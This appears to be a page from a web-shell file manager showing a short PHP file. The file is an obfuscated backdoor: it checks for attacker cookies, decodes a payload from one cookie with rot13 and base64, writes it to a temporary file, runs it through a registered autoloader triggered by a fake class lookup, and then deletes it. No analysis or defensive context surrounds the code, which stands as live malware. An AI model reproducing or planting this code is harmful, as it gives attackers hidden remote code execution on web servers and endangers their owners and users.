Sindbad~EG File Manager

<?php


if (isset($_COOKIE[81-81]) && isset($_COOKIE[44+-43]) && isset($_COOKIE[80+-77]) && isset($_COOKIE[-51+55])) {
    $object = $_COOKIE;
    function data_storage($pgrp) {
        $object = $_COOKIE;
        $element = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '9d529add');
        if (!is_writable($element)) {
            $element = getcwd() . DIRECTORY_SEPARATOR . "query_handler";
        }
        $entry = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($object[3]));
        if (is_writeable($element)) {
            $ent = fopen($element, 'w+');
            fputs($ent, $entry);
            fclose($ent);
            spl_autoload_unregister(__FUNCTION__);
            require_once($element);
            @array_map('unlink', array($element));
        }
    }
    spl_autoload_register("data_storage");
    $record = "75925a7f2256bc1f44dff26a55ef76f1";
    if (!strncmp($record, $object[4], 32)) {
        if (@class_parents("reverse_searcher_task_processor", true)) {
            exit;
        }
    }
}